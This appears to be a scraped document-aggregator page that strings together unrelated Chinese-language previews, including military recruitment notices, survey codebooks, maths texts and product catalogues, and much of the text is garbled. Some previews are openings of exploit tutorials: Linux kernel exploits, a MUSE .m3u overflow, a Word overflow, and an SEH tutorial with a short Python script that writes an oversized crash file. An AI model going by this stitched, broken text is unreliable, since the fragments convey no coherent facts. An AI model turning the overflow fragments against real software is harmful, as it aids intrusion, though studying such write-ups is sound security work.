民 國 105 年 大 專 程 度 義 務 役 預 備 軍 官 預 備 士 官 考 選 簡 章 目 錄 壹 考 選 依 據 1 貳 考 ( 甄 ) 選 對 象 1 參 資 格 規 定 1 肆 員 額 及 專 長 類 別 2 伍 報 名 及 選 填 志 願 日 期 方 式 3 陸 選 填 官 科 ( 民 國 105 年 大 專 程 度 義 務 役 預 備 軍 官 預 備 士 官 考 選 期 程 表 日 期 執 行 項 目 3 月 1 日 (8 時 起 ) 至 3 月 21 日 (17 時 止 ) 網 路 報 名 並 完 成 列 印 3 月 22 日 (17 時 止 ) 各 校 承 辦 人 員 收 報 名 件 截 止 3 月 30 日 4 月 11 日 5 月 18 日 5 月 27 日 (17

More information

50~56 I1. 1 A 2 3 I2. I2a. 1 2 3 4 5 ( ) I2b. 1 2 3 I2b1. 4 5 ( ) I3. 11 12 02 ( ) 1 2 (24 ) A1. 0 1 A2 A1a. ( ) A2. ( ) () () ( ) ------------------------------------------------------------------------------------------

More information

SIK) 者, 需 實 施 1 年 以 上, 經 體 格 檢 查 無 後 遺 症 者 5. 身 體 任 何 部 分 有 刺 青 紋 身 穿 耳 洞 者, 不 得 報 考, 各 項 檢 查 結 果 須 符 合 體 位 區 分 標 準 常 備 役 體 位 二 在 校 軍 訓 成 績 總 平 均 70 分

SIK) 者, 需 實 施 1 年 以 上, 經 體 格 檢 查 無 後 遺 症 者 5. 身 體 任 何 部 分 有 刺 青 紋 身 穿 耳 洞 者, 不 得 報 考, 各 項 檢 查 結 果 須 符 合 體 位 區 分 標 準 常 備 役 體 位 二 在 校 軍 訓 成 績 總 平 均 70 分 民 國 102 年 大 專 程 度 義 務 役 預 備 軍 官 預 備 士 官 考 選 簡 章 壹 依 據 : 依 民 國 102 年 大 專 程 度 義 務 役 預 備 軍 官 預 備 士 官 考 選 計 畫 辦 理 貳 考 ( 甄 ) 選 對 象 : 具 中 華 民 國 國 籍, 尚 未 履 行 兵 役 義 務 之 役 男, 年 齡 在 32 歲 ( 民 國 70 年 1 月 1 日 以 後 出

More information

Ps22Pdf

Ps22Pdf A A B C D A B C D A B C D A B C D A B C D A B C D A B C D A B C D A B C D A B C D A B C D A B C D B C D F G I J A A B C D A B C D A B C D A B C D A B C D A B C D A B C D A B C D A B C D A B C D A B C D

More information

Microsoft Word - 把时间当作朋友(2011第3版)3.0.b.06.doc

Microsoft Word - 把时间当作朋友(2011第3版)3.0.b.06.doc 2 5 8 11 0 13 1. 13 2. 15 3. 18 1 23 1. 23 2. 26 3. 28 2 36 1. 36 2. 39 3. 42 4. 44 5. 49 6. 51 3 57 1. 57 2. 60 3. 64 4. 66 5. 70 6. 75 7. 83 8. 85 9. 88 10. 98 11. 103 12. 108 13. 112 4 115 1. 115 2.

More information

untitled

untitled 2015 138 8 13 8:00 14:00 http://zj.sceea.cn 1 www.sceea.cn APP 1 2 6 6 2 2015 2015 8 13 3 1156 2 12 1 16 1 1160 4 21 4 1161 4 06 4 1162 1 01 1 1168 1 19 1 1169 2 07 2 1254 4 00 4 1261 1 88 1 1262 7 4 00

More information

!" #$%#&#! () *+, -.!" #$%#/# $!" /$12 0!" 3 4 $$255 % 67 8 $ %% #! " # $9&$

! #$%#&#! () *+, -.! #$%#/# $! /$12 0! 3 4 $$255 % 67 8 $ %% #!  # $9&$ "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

More information

97 04 25 0970002232 97 12 31 1-7 1 2 1 0 1 0 1 0 1 0 1 0 1 0 1 2 24 A1. 0 1 ( 6 ) 2 ( 6 ) 3 4 A1a.? 5 6 0 1 A1b.? 0 1 2 A2. 0 1 A2b. A2c. A2a. A2d. 1 A3. 1 A4 2 0 A4 A3a.?? 0 A4 1 A3b. 0 A4 1 A3c.?? 1

More information

!% &$ % (% )% &%!""* +% ($ % )% &%,% ($ % )% &% ) *% ($ ( #% )$ % (% &% ( -% ($.% ($ ( ) & /. /!""*! $!"

!% &$ % (% )% &%!* +% ($ % )% &%,% ($ % )% &% ) *% ($ ( #% )$ % (% &% ( -% ($.% ($ ( ) & /. /!*! $! !""#!""#!""& %!"!""& %! ( )!""#!""& " && * " #"!""&!"")!" % +$, -.!""& %#!""# % $!" !% &$ % (% )% &%!""* +% ($ % )% &%,% ($ % )% &% ) *% ($ ( #% )$ % (% &% ( -% ($.% ($ ( ) & /. /!""*! $!" !!""& %!"" ()

More information

Linux kernel exploit研究和探索

Linux kernel exploit研究和探索 Linux kernel exploit DOC alert7 PPT e4gle 2002-12-2 1 2002-12-2 2 Linux kernel exploit kernel exploit exploit exploit exploit (Kernel Buffer Overflow) (Kernel

More information

untitled

untitled 2016 160 8 14 8:00 14:00 1 http://zj.sceea.cn www.sceea.cn APP 1 190 180 2 2 6 6 8 15 2016 2016 8 13 3 2016 2016 2016 0382 2 06 1 3300 14 1 3300 0451 5 01 2 7500 02 2 7500 05 ( ) 1 7500 1156 4 15 2 15000

More information

!!""# $ %#" & $$ % $()! *% $!*% +,-. / 0 %%"#" 0 $%1 0 * $! $#)2 "

!!# $ %# & $$ % $()! *% $!*% +,-. / 0 %%# 0 $%1 0 * $! $#)2 ! """"""""""""""""""" " !!""# $ %#" & $$ % $()! *% $!*% +,-. / 0 %%"#" 0 $%1 0 * $! $#)2 " !"#$%#$&!!!!!!!!!!!!!!!!!!!!!!!!!!!"#$%& (& #) *+&,"-./%0 1 2"0*-"3* #4 5%&6&4"&00 78 9+& :"/;& 7< 9+& =#4-%%/

More information

& ($ ) * +!"", &#!""#! +$ ) ( * +!"", - ($ ) * + % ($ ) * + * ), ($ ( # *$ ) ( + ) (. ($ / ($ ) ( * + &/ )! $!%

& ($ ) * +!, &#!#! +$ ) ( * +!, - ($ ) * + % ($ ) * + * ), ($ ( # *$ ) ( + ) (. ($ / ($ ) ( * + &/ )! $!% !""#!""#!"" %!"!"" %(!( )( &(!""#!"" "( * "( #"!""!""&!" % $!& & ($ ) * +!"", &#!""#! +$ ) ( * +!"", - ($ ) * + % ($ ) * + * ), ($ ( # *$ ) ( + ) (. ($ / ($ ) ( * + &/ )! $!% !""(!!""( %!""& )* +$! " #

More information

2

2 2 !iisamplegetlist!iisamplegetdata:!iisamplegetlast!iisampleeraseall!iihostfilegetdata Vangkroken 2 NO-1351 Rud Norway 3 example.log IMM>captureline!15HostFileGetData

More information

E170C2.PDF

E170C2.PDF IQ E170C2 2002.3. Rotork Rotork * ( ) * * RotorkIQ - IQ * * PC IQ Insight / Rotork * - Rotork IQ www.rotork.com 5 10 5.1 11 1 2 5.2 11 2 3 5.3 11 3 IQ 3 5.4 11 3.1 3 5.5 IQM12 3.2 3 5.6 IQML12 3.3 4 5.7

More information

untitled

untitled 2016 148 1 8 7 08:00 16:00 http://zj.sceea.cn www.sceea.cn APP 1 2 2 6 6 2016 2016 8 6 3 2016 2016 2016 0366 1 03 1 0391 2 54 ( ) 2 1256 7 02 1 03 1 07 2 18 2 21 1 1314 1 36 1 14000 / 20 1316 7 00 1 09

More information

,768 32,767 32K JMP Jnnn (386+) LOOP CALL [Label:] JMP short/near/far address L10: jmp jmp L20: L10 L20

,768 32,767 32K JMP Jnnn (386+) LOOP CALL [Label:] JMP short/near/far address L10: jmp jmp L20: L10 L20 (Jump) (Loop) (Conditional jump) CMP CALL AND SAR/SHR TEST JMP NOT SAL/SHL Jnnn* OR RCR/ROR LOOP XOR RCL/ROL RETn * nnn, JNE JL -128 127-32,768 32,767 32K JMP Jnnn (386+) LOOP CALL [Label:] JMP short/near/far

More information

例 009 年高考 全国卷Ⅱ 理 8 如 图 直 三 棱 柱 ABC ABC 中 AB AC D E 分 别为 AA BC 的中点 DE 平面 BCC 证明 AB AC 设二面角 A BD C 为 0o 求 BC 与平面 BCD 所 成角的大小 图 - 略 证明 以 D 为坐标原点 DA DC DD

例 009 年高考 全国卷Ⅱ 理 8 如 图 直 三 棱 柱 ABC ABC 中 AB AC D E 分 别为 AA BC 的中点 DE 平面 BCC 证明 AB AC 设二面角 A BD C 为 0o 求 BC 与平面 BCD 所 成角的大小 图 - 略 证明 以 D 为坐标原点 DA DC DD Education Science 教育科学 平面法向量在解立体几何题中的应用探究 梁毅麟 恩平市华侨中学 广东江门 59400 摘 要 几何发展的根本出路是代数化 引入向量研究是几何代数化的需要 随着平面法向量这个概念在新教 材的引入 应用平面法向量解决立体几何中空间线面位置关系的证明 空间角和距离的求解等高考热点问题的方法 更具灵活性和可操作性 其主要特点是用代数方法解决几何问题 无需考虑如何添加辅助线

More information

untitled

untitled 2015 141 8 14 8:00 12:00 1 http://zj.sceea.cn www.sceea.cn APP 9 1 2 2 6 6 2015 2015 8 14 3 1156 1 16 1 1160 1 21 1 1162 1 01 1 1264 2 06 2 1275 1 04 1 1357 5 03 2 15 2 29 1 1358 9 07 2 14 2 15 2 4 16

More information

幻灯片 1

幻灯片 1 3 8086 Tel:2656809 tjx@csu.edu.cn 2005-9-14 1 2005-9-14 2 8086 8 8086 8086 7 2005-9-14 3 PC 2005-9-14 4 2005-9-14 5 81616 2005-9-14 6 [ ] MOV AX, 3064H AX=3064H 16AX OP 64H 30H 2005-9-14 7 16 AX BX CX

More information

Ps22Pdf

Ps22Pdf ) ,,, :,,,,,,, ( CIP) /. :, 2001. 9 ISBN 7-5624-2368-7.......... TU311 CIP ( 2001) 061075 ( ) : : : : * : : 174 ( A ) : 400030 : ( 023) 65102378 65105781 : ( 023) 65103686 65105565 : http: / / www. cqup.

More information

C++ 程式設計

C++ 程式設計 C C 料, 數, - 列 串 理 列 main 數串列 什 pointer) 數, 數, 數 數 省 不 不, 數 (1) 數, 不 數 * 料 * 數 int *int_ptr; char *ch_ptr; float *float_ptr; double *double_ptr; 數 (2) int i=3; int *ptr; ptr=&i; 1000 1012 ptr 數, 數 1004

More information

untitled

untitled 0.37kW 250kW D11.7 2009 SINAMICS G120 0.37kW 250kW SINAMICS G120 Answers for industry. SINAMICS G120 0.37kW 250kW SINAMICS G110 D 11.1 0.12 kw 3 kw CA01 MC CA01 MC CD : E20001-K20-C-V2-5D00 141-P90534-09020

More information

> u eip l 3 002f2aa9 90 nop 002f2aaa 90 nop >!chkimg -d -lo 1 ping // 检查文件是否被篡改? 002f2aa7-002f2aaa 4 bytes - ping!maincrtstartup [ e :f0 cc 9

> u eip l 3 002f2aa9 90 nop 002f2aaa 90 nop >!chkimg -d -lo 1 ping // 检查文件是否被篡改? 002f2aa7-002f2aaa 4 bytes - ping!maincrtstartup [ e :f0 cc 9 在 WINDBG 中定位 ExceptionAddress 核心技术部陈庆 关键字 : 调试异常 windbg second chance ExceptionAddress 摘要 : 在 windbg 中调试时, 碰上 second chance 时, 栈回溯已经看不到与 ExceptionAddress 直接相关的信息, 但我们调试的目的就是要找到 ExceptionAddress 本文介绍了几种通用思路来解决这个问题

More information

a( a 0) a a( a 0) a = a ( a) = a a( a 0 ) a = a( a ) 0 a = a 4 f x 1 = x a ai a R sinx + a b ab sin x sinx = sinx sin x = 4 y = sinx + sinx - ysinx 4 = 0 sinx sinx x - 3 3= x x- 3 - x- 3 = 0

More information

!"#$%"#$!& () #*("+$,# -+(&. )!""# $ $ $ $ $ $ $ $ $ !!!"#$%#$&!"#$% #" %#&# %# (%!) (&#"*%!!!!!!!!!!!!!!!!!!!!!!! " "# (&$")(!*+,*)-%$ ".%).(%/!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ (&$")(!*+ &$*$(&$(!*+,*)-%$

More information

MICROMASTER 410/420/430/440 DA kW 250kW MICROMASTER Eco & MIDIMASTER Eco MICROMASTER, MICROMASTER Vector DA64 MIDIMASTER Vector 90kW (Low

MICROMASTER 410/420/430/440 DA kW 250kW MICROMASTER Eco & MIDIMASTER Eco MICROMASTER, MICROMASTER Vector DA64 MIDIMASTER Vector 90kW (Low DA51.2 2002 micromaster MICROMASTER 410/420/430/440 0.12kW 250kW s MICROMASTER 410/420/430/440 DA51.2 2002 0.12kW 250kW MICROMASTER Eco & MIDIMASTER Eco MICROMASTER, MICROMASTER Vector DA64 MIDIMASTER

More information

linux 下的缓冲区溢出 裴士辉 QQ:

linux 下的缓冲区溢出 裴士辉 QQ: linux 下的缓冲区溢出 裴士辉 QQ:1628159305 Buffer Overflows 缓冲区溢出攻击 基本的思想通过修改某些内存区域, 把一段恶意代码存储到一个 buffer 中, 并且使这个 buffer 被溢出, 以便当前进程被非法利用 ( 执行这段恶意的代码 ) 2 危害性 在 UNIX 平台上, 通过发掘 Buffer Overflow, 可以获得一个交互式的 shell 在 Windows

More information

数 学 高 分 的 展 望 一 管 理 类 联 考 分 析 第 一 篇 大 纲 解 析 篇 编 写 : 孙 华 明 1 综 合 能 力 考 试 时 间 :014 年 1 月 4 日 上 午 8:30~11:30 分 值 分 配 : 数 学 :75 分 逻 辑 :60 分 作 文 :65 分 ; 总

数 学 高 分 的 展 望 一 管 理 类 联 考 分 析 第 一 篇 大 纲 解 析 篇 编 写 : 孙 华 明 1 综 合 能 力 考 试 时 间 :014 年 1 月 4 日 上 午 8:30~11:30 分 值 分 配 : 数 学 :75 分 逻 辑 :60 分 作 文 :65 分 ; 总 目 录 数 学 高 分 的 展 望... 1 第 一 篇 大 纲 解 析 篇... 1 一 管 理 类 联 考 分 析... 1 二 最 新 大 纲 解 析... 1 三 考 前 复 习 资 料 及 方 法... 第 二 篇 总 结 篇... 4 1 应 用 题 考 点 总 结 与 技 巧 归 纳... 4 代 数 模 块 题 型 归 纳 及 考 点 总 结... 9 3 数 列 模 块 题 型 归

More information

Microsoft PowerPoint - XCon2010_win7_cn.ppt [兼容模式]

Microsoft PowerPoint - XCon2010_win7_cn.ppt [兼容模式] 绕过 windows 7 浏览器内存保护 Chen XiaoBo Xiao_Chen@McAfee.com Xie Jun Jun_Xie@McAfee.com com Windows 保护机制回顾 GS Stack cookies 防止覆盖 EIP 可以通过覆盖 SEH chains 来绕过 /GS 保护 SafeSEH & SEHOP SEH handler 验证 可以通过已注册的 SEH handler

More information

= 3 + 1 7 = 22 7 3.14 = 3 + 1 7 + 1 15 +1 = 355 3.1415929 113 221221221221 136136136136 221000000000 221000000 221000 221 = 136000000000 136000000 136000 221 1000000000 1000000 1000 1 = 136 1000000000

More information

! "! #$# +&#!! %& #!"# )*+ % #!"!!!"!! =1.>7? "$+"+ (!! &< =1.>7? % $%& $& ( )*+ $*& $(B *& ;; / %" ;; C% %( &&& 0, ;17 -#D" (D-"" B ( %&& 0

! ! #$# +&#!! %& #!# )*+ % #!!!!!! =1.>7? $++ (!! &< =1.>7? % $%& $& ( )*+ $*& $(B *& ;; / % ;; C% %( &&& 0, ;17 -#D (D- B ( %&& 0 !""# #!"#$"%&"!""#!"#$%&% ()*$+, (-!"*(.+/(0*+1"2 ()*+!$,)+ % $"" & $ "!!"!,,!!,,,!,! +!$ " *!+ "--""! #...!- & ++ %07 =>. $"!?@ + %"/!A &!"A *#/ %A $"A &!"A "/ -A &! / -A "/ ""! & "/ ) %5 B C5 "/ ""$

More information

民國八十九年台灣地區在校學生性知識、態度與行為研究調查

民國八十九年台灣地區在校學生性知識、態度與行為研究調查 84 年 台 灣 地 區 在 校 學 生 性 知 識 態 度 與 行 為 研 究 調 查 過 錄 編 碼 簿 題 號 變 項 名 稱 變 項 說 明 選 項 數 值 說 明 備 註 i_no 學 生 編 號 問 卷 流 水 號 location 學 校 所 在 縣 市 編 號 1 台 北 市 2 基 隆 市 3 台 中 市 4 台 南 市 5 高 雄 市 6 新 竹 市 7 嘉 義 市 21 宜 蘭

More information

2002 2005 11 !!!!!!!!!!!!!!!!!!!!!!! 1 1!!!!!!!!!!!!!!!!!!!!!!! 1 2!!!!!!!!!!!!!!!!!!!!!! 3 3!!!!!!!!!!!!!!!!!! 6 4!!!!!!!!!!!!!!!!!!!! 8!!!!!!!!!!!!!!!!!!!!!! 10 5!!!!!!!!!!!!!!!!!! 10 6!!!!!!!!!!!!!!!!

More information

untitled

untitled MODBUS 1 MODBUS...1 1...4 1.1...4 1.2...4 1.3...4 1.4... 2...5 2.1...5 2.2...5 3...6 3.1 OPENSERIAL...6 3.2 CLOSESERIAL...8 3.3 RDMULTIBIT...8 3.4 RDMULTIWORD...9 3.5 WRTONEBIT...11 3.6 WRTONEWORD...12

More information

42 2141601026 2016 11 27 2 1.1............................................. 2 1.2....................................... 2 1.2.1......................................... 2 1.3.............................................

More information

3 = 90 - = 5 80 - = 57 5 3 3 3 = 90 = 67 5 3 AN DE M DM BN ABN DM BN BN OE = AD OF = AB OE= AD=AF OF= AB=AE A= 90 AE=AF 30 BF BE BF= BE= a+b =a+ b BF=BC+CF=a+CF CF= b CD=b FD= b AD= FC DFC DM=

More information

且编写我们的利用程序, 到最后, 会简单讲一下, 这个漏洞的修补. 首先我们来了解下溢出产生的原因. 打开 windbg, 附加到 msue 进程上, 然后在 kernel!readfile 处下断点, 再用 muse 打开我们之前做好的 test.m3u( 注 : 在这个过程中, 会多次断在 Re

且编写我们的利用程序, 到最后, 会简单讲一下, 这个漏洞的修补. 首先我们来了解下溢出产生的原因. 打开 windbg, 附加到 msue 进程上, 然后在 kernel!readfile 处下断点, 再用 muse 打开我们之前做好的 test.m3u( 注 : 在这个过程中, 会多次断在 Re MUSE v4.9.0.006 (.m3u) 本地溢出漏洞的分析和利用 文 : 冰雪风谷文件格式溢出漏洞一直是黑客门攻击的热点, 从暴风影音播放器到 qq 播放器以及其它的各种播放器, 都被人暴过相关的漏洞. 至于造成漏洞的原因, 大部分是由于往栈里拷贝字符的时候, 没有检查字符串的长度, 导致拷贝的长度大于缓冲区的长度, 于是造成了溢出. 当然, 还有部分是整数溢出, 出现在一些有无符号数混合使用,

More information

94/03/25 (94 0940002083 94 12 31 B 1-8 (12-64 29 5 16 82 5 15 1 2 22-24 29 25-28 k1. 1 A 2 k2k3 3 k2k3 k2. k2a. 1 2 3 4 k2b. 1 2 k2b1.? 3 k3. 11 12 02 ( ( ( 1 2 (24 A. A1.? 1 0 A1a.? 1. 1 2 2. A2. 1 2

More information

Microsoft Word - 把时间当作朋友(2011第3版)3.0.b.07.doc

Microsoft Word - 把时间当作朋友(2011第3版)3.0.b.07.doc 2 5 8 11 0 1. 13 2. 15 3. 18 1 1. 22 2. 25 3. 27 2 1. 35 2. 38 3. 41 4. 43 5. 48 6. 50 3 1. 56 2. 59 3. 63 4. 65 5. 69 13 22 35 56 6. 74 7. 82 8. 84 9. 87 10. 97 11. 102 12. 107 13. 111 4 114 1. 114 2.

More information

<4D6963726F736F667420576F7264202D20C7B6C8EBCABDCFB5CDB3C9E8BCC6CAA6B0B8C0FDB5BCD1A75FD1F9D5C22E646F63>

<4D6963726F736F667420576F7264202D20C7B6C8EBCABDCFB5CDB3C9E8BCC6CAA6B0B8C0FDB5BCD1A75FD1F9D5C22E646F63> 因 为 路 过 你 的 路, 因 为 苦 过 你 的 苦, 所 以 快 乐 着 你 的 快 乐, 追 逐 着 你 的 追 逐 内 容 简 介 本 书 根 据 2005 年 下 半 年 实 施 的 全 国 计 算 机 技 术 与 软 件 专 业 技 术 资 格 ( 水 平 ) 考 试 嵌 入 式 系 统 设 计 师 级 考 试 大 纲 精 神, 在 深 入 研 究 历 年 计 算 机 技 术 与 软

More information

!!"#$ " # " " " " " "$%%& " $%% " "!!

!!#$  #      $%%&  $%%  !! ! "##$ % % % % % % % % &#!"#$ %&#$ ()* % % +,-.!! !!"#$ " # " " " " " "$%%& " $%% " "!! ! "#!"#$ $ $ $ $ %# %& $ &# ()*$ " & %!! ! " "!! !!!!!!" "! ##$#%#&# $%& ()*+ "( () # *+!!!!!! $% )*#+$,#-$.#/$ -#01$

More information

#!/usr/bin/python -w filename="evil.plf" buffer = "A"*2000 textfile = open(filename, 'w') textfile.write(buffer) textfile.close() 创建 plf 文件, 用 immunit

#!/usr/bin/python -w filename=evil.plf buffer = A*2000 textfile = open(filename, 'w') textfile.write(buffer) textfile.close() 创建 plf 文件, 用 immunit 结构化异常处理 (SEH) 译者 :Netfairy 前言 这一节介绍漏洞利用中你会遇到的真正障碍. SEH 用于缓解缓冲区攻击造成的问题. 但它也 是有缺陷的. 先说明本文不会讨论 SafeSeh 或者 SEHOP, 稍后的 Part 3b 会解决这些保护机制. 我将用 DVD X Player 5.5 PRO 演示 SEH 利用. 已有的漏洞利用程序 : 这里 通常情况下漏洞利用之前我们需要先分析程序的坏字符,

More information

DbgPrint 函数流程分析

DbgPrint 函数流程分析 DbgPrint 函数流程分析 by 小喂 1 DbgPrint 函数流程分析 前言 Windows 下编写内核驱动时经常用到 DbgPrint 函数输出一些调试信息, 用来辅助调试 当正在用 WinDbg 内核调 试时, 调试信息会输出到 WinDbg 中 或者利用一些辅助工具也能看到输出的调试信息, 比如 Sysinternals 公司的 DebugView 工具 本文分析了 Vista 系统上

More information

# #$$%& ()*+, -$. #-# / & 0 & 0 #& $& 1 #.& /# 2(3 #$$# $..-$ #$ 0 0 $$$$4 0 0 %# 0-5$ 6 /-0 /0 #$ 0 5$$$ #$$% 0 0 #$$% ()*+, -$. #-# / 7, $8 $$

# #$$%& ()*+, -$. #-# / & 0 & 0 #& $& 1 #.& /# 2(3 #$$# $..-$ #$ 0 0 $$$$4 0 0 %# 0-5$ 6 /-0 /0 #$ 0 5$$$ #$$% 0 0 #$$% ()*+, -$. #-# / 7, $8 $$ # #$$%& ()*+, -$. #-# / & 0 & 0 #& $& 1 #.& /# 2(3 #$$# $..-$ #$ 0 0 $$$$4 0 0 %# 0-5$ 6 /-0 /0 #$ 0 5$$$ #$$% 0 0 #$$% ()*+, -$. #-# / 7,50 0 0 $8 $$ # # $ $ % % & & ( ( ) ) ## * #* + #+, & - &&. &$ /

More information

Ps22Pdf

Ps22Pdf f e L/ b I I P AD c b b P 131 132 133 b 134 W b b W 135 e d b AB b F F f f E E E E E G G G G G G E G E A B C D ABCD A B A B C D AB AB ABC D A BD C A B C D D D D E E E D b ED ED b ED b G E b b b b b

More information

漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字

漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字 适 合 读 者 : 入 侵 爱 好 者 溢 出 爱 好 者 前 置 知 识 : 汇 编 语 言 缓 冲 区 溢 出 基 本 原 理 文 / 图 何 永 强 Word 畸 形 数 据 结 构 溢 出 漏 洞 分 析 与 利 用 以 前 都 是 写 远 程 溢 出 漏 洞, 感 觉 也 该 换 换 口 味 了 事 实 上,2005 年 以 来 的 远 程 溢 出 漏 洞, 如 MS05-039 MS06-040

More information

!"#$%"#$!& () #*("+$,# -+(&. )!""! # # # # # # # # !!!"#$%#$&!"#$% #" %#&# %# (%!) (&#"*%!!!!!!!!!!!!!!!!!!!!!!! " "# (&$")(!*+,*)-%$ ".%).(%/!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ (&$")(!*+ &$*$(&$(!*+,*)-%$

More information

!"#$%"#$!& () #*("+$,# -+(&. )!""! # # # # # # # # !!!"#$%#$&!"#$% #" %#&# %# (%!) (&#"*%!!!!!!!!!!!!!!!!!!!!!!! " "# (&$")(!*+,*)-%$ ".%).(%/!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ (&$")(!*+ &$*$(&$(!*+,*)-%$

More information

2 2 12 12 4 81 = 108 3 2 108 = 72 3 4 72 = 96 3 2 96 = 64 3 12 t = 2 1 2 11 12 12 12 2 l 2 l 2 l 2 12 ò ED = CB DA BA DE

More information

高二立體幾何

高二立體幾何 008 / 009 學 年 教 學 設 計 獎 勵 計 劃 高 二 立 體 幾 何 參 選 編 號 :C00 學 科 名 稱 : 適 用 程 度 : 高 二 簡 介 一 本 教 學 設 計 的 目 的 高 中 立 體 幾 何 的 學 習 是 學 生 較 難 理 解 而 又 非 常 重 要 的 一 個 部 分, 也 是 高 中 教 學 中 較 難 講 授 的 一 個 部 分. 像 國 內 的 聯 校

More information

!!!!"#$ " " %& ( " # " " " " " "$%%& " $%% " "!!

!!!!#$   %& (  #      $%%&  $%%  !! ! "##$ % % % % % % % % &#!" % % #$%& (%&!! !!!!"#$ " " %& ( " # " " " " " "$%%& " $%% " "!! ! "#!"#$ $ $ $ $ %# %& $ &# ()*$ " & %!! ! " "!! !!!!" "! #$%& "# $()*$(+, $%& ())* $% (+,-.. /-.. 0&* 0%* "!!

More information

※※※※※

※※※※※ ...1-9 ()...10-11 01 094-910201A...12-16 02 094-910202A...17-21 03 094-910203A...22-26 04 094-910204A...27-31 B 6-2 01 094-910201B...32-36 02 094-910202B...37-41 03 094-910203B...42-46 C 6-3 01 094-910201C...47-51

More information

MICROMSTER 420/430/440 MICROMSTER kw 11 kw 0.12kW 250kW D MICROMSTER kw 250kW C01 E86060-D B MICROMSTER 440

MICROMSTER 420/430/440 MICROMSTER kw 11 kw 0.12kW 250kW D MICROMSTER kw 250kW C01 E86060-D B MICROMSTER 440 产品样本 D51.2 10 2008 MICROMSTER 420/430/440 变频器 应用于驱动技术的通用型变频器 产品样本 D51.2 10 2008 MICROMSTER nswers for industry. MICROMSTER 420/430/440 MICROMSTER 420 0.12 kw 11 kw 0.12kW 250kW D51.2 2008.10 MICROMSTER

More information

FY.DOC

FY.DOC 高 职 高 专 21 世 纪 规 划 教 材 C++ 程 序 设 计 邓 振 杰 主 编 贾 振 华 孟 庆 敏 副 主 编 人 民 邮 电 出 版 社 内 容 提 要 本 书 系 统 地 介 绍 C++ 语 言 的 基 本 概 念 基 本 语 法 和 编 程 方 法, 深 入 浅 出 地 讲 述 C++ 语 言 面 向 对 象 的 重 要 特 征 : 类 和 对 象 抽 象 封 装 继 承 等 主

More information

概述

概述 OPC Version 1.6 build 0910 KOSRDK Knight OPC Server Rapid Development Toolkits Knight Workgroup, eehoo Technology 2002-9 OPC 1...4 2 API...5 2.1...5 2.2...5 2.2.1 KOS_Init...5 2.2.2 KOS_InitB...5 2.2.3

More information

Microsoft Word - 烘焙食品乙級第二部份 doc

Microsoft Word - 烘焙食品乙級第二部份 doc 烘 焙 食 品 乙 級 技 術 士 技 能 檢 定 術 科 參 考 資 料 試 題 編 號 :077-900201-3 審 定 日 期 : 年 月 日 修 訂 日 期 :96 年 7 月 1 日 97 年 1 月 30 日 97 年 10 月 27 日 98 年 6 月 20 日 98 年 12 月 17 日 99 年 08 月 20 日 烘 焙 食 品 乙 級 技 術 士 技 能 檢 定 術 科

More information

<4D F736F F D F F315FAAFEA5F333AAF9B645C2E5C0F8AA41B0C8C249BCC6B24DB3E6B443C5E9A5D3B3F8AEE6A6A12E646F63>

<4D F736F F D F F315FAAFEA5F333AAF9B645C2E5C0F8AA41B0C8C249BCC6B24DB3E6B443C5E9A5D3B3F8AEE6A6A12E646F63> 門 診 醫 療 服 務 點 數 清 單 媒 體 申 報 格 式 及 填 表 說 明 97.5.1 更 新 版 ( 檔 案 名 稱 : DTLFA, 每 筆 長 度 246 BYTES) 項 次 資 料 名 稱 格 式 中 文 名 稱 / 資 料 說 明 ==== ======================== ==== ================================== *01

More information

今天刚发现的, 比较简单, 于是就来简单分析下吧 该感染样本很简单, 新加了个区段放病毒执行代码, 执行病毒代码, 最后跳回原入口点来执行原文件 下面就是感染后的代码的简单分析 : ; =============== S U B R O U T I N E =====================

今天刚发现的, 比较简单, 于是就来简单分析下吧 该感染样本很简单, 新加了个区段放病毒执行代码, 执行病毒代码, 最后跳回原入口点来执行原文件 下面就是感染后的代码的简单分析 : ; =============== S U B R O U T I N E ===================== 吾爱破解论坛 [LCG] [LSG] 立足软件安全和病毒分析最前端, 丰富的技术版块交相辉映, 由无数加密解密及反病毒爱好者共同维护, 留给世界一抹值得百年回眸的惊 艳, 沉淀百年来计算机应用之精华与优雅, 信息线条与生活质感淡定交融, 任岁月流转, 低调而奢华的技术交流与研究却是亘古不变 标题 : 一个感染样本的简单分析 作者 :ximo 今天刚发现的, 比较简单, 于是就来简单分析下吧 该感染样本很简单,

More information

Microsoft Word - 11.doc

Microsoft Word - 11.doc 除 錯 技 巧 您 將 於 本 章 學 到 以 下 各 項 : 如 何 在 Visual C++ 2010 的 除 錯 工 具 控 制 下 執 行 程 式? 如 何 逐 步 地 執 行 程 式 的 敘 述? 如 何 監 看 或 改 變 程 式 中 的 變 數 值? 如 何 監 看 程 式 中 計 算 式 的 值? 何 謂 Call Stack? 何 謂 診 斷 器 (assertion)? 如 何

More information

!"# $%& ()) *+,+)-./01!"# $%& ()) *+,+)-./01!"#! "#$ 2!"# ):; 2!B! 2 "B # $ 2 %4 C C 2 &4 %D?<?4 6<5 2 (9D =6

!# $%& ()) *+,+)-./01!# $%& ()) *+,+)-./01!#! #$ 2!# ):; 2!B! 2 B # $ 2 %4 C C 2 &4 %D?<?4 6<5 2 (9D =6 !" #$%!!!!!!!! !"# $%& ()) *+,+)-./01!"# $%& ()) *+,+)-./01!"#! "#$ 2!"# 3 4 56674 85 2 9):; 7>?68>8??@A>6 2!B! 2 "B # $ 2 %4 C C 2 &4 %D?

More information

Microsoft Word - NHIS2013_C_130716_送印_.doc

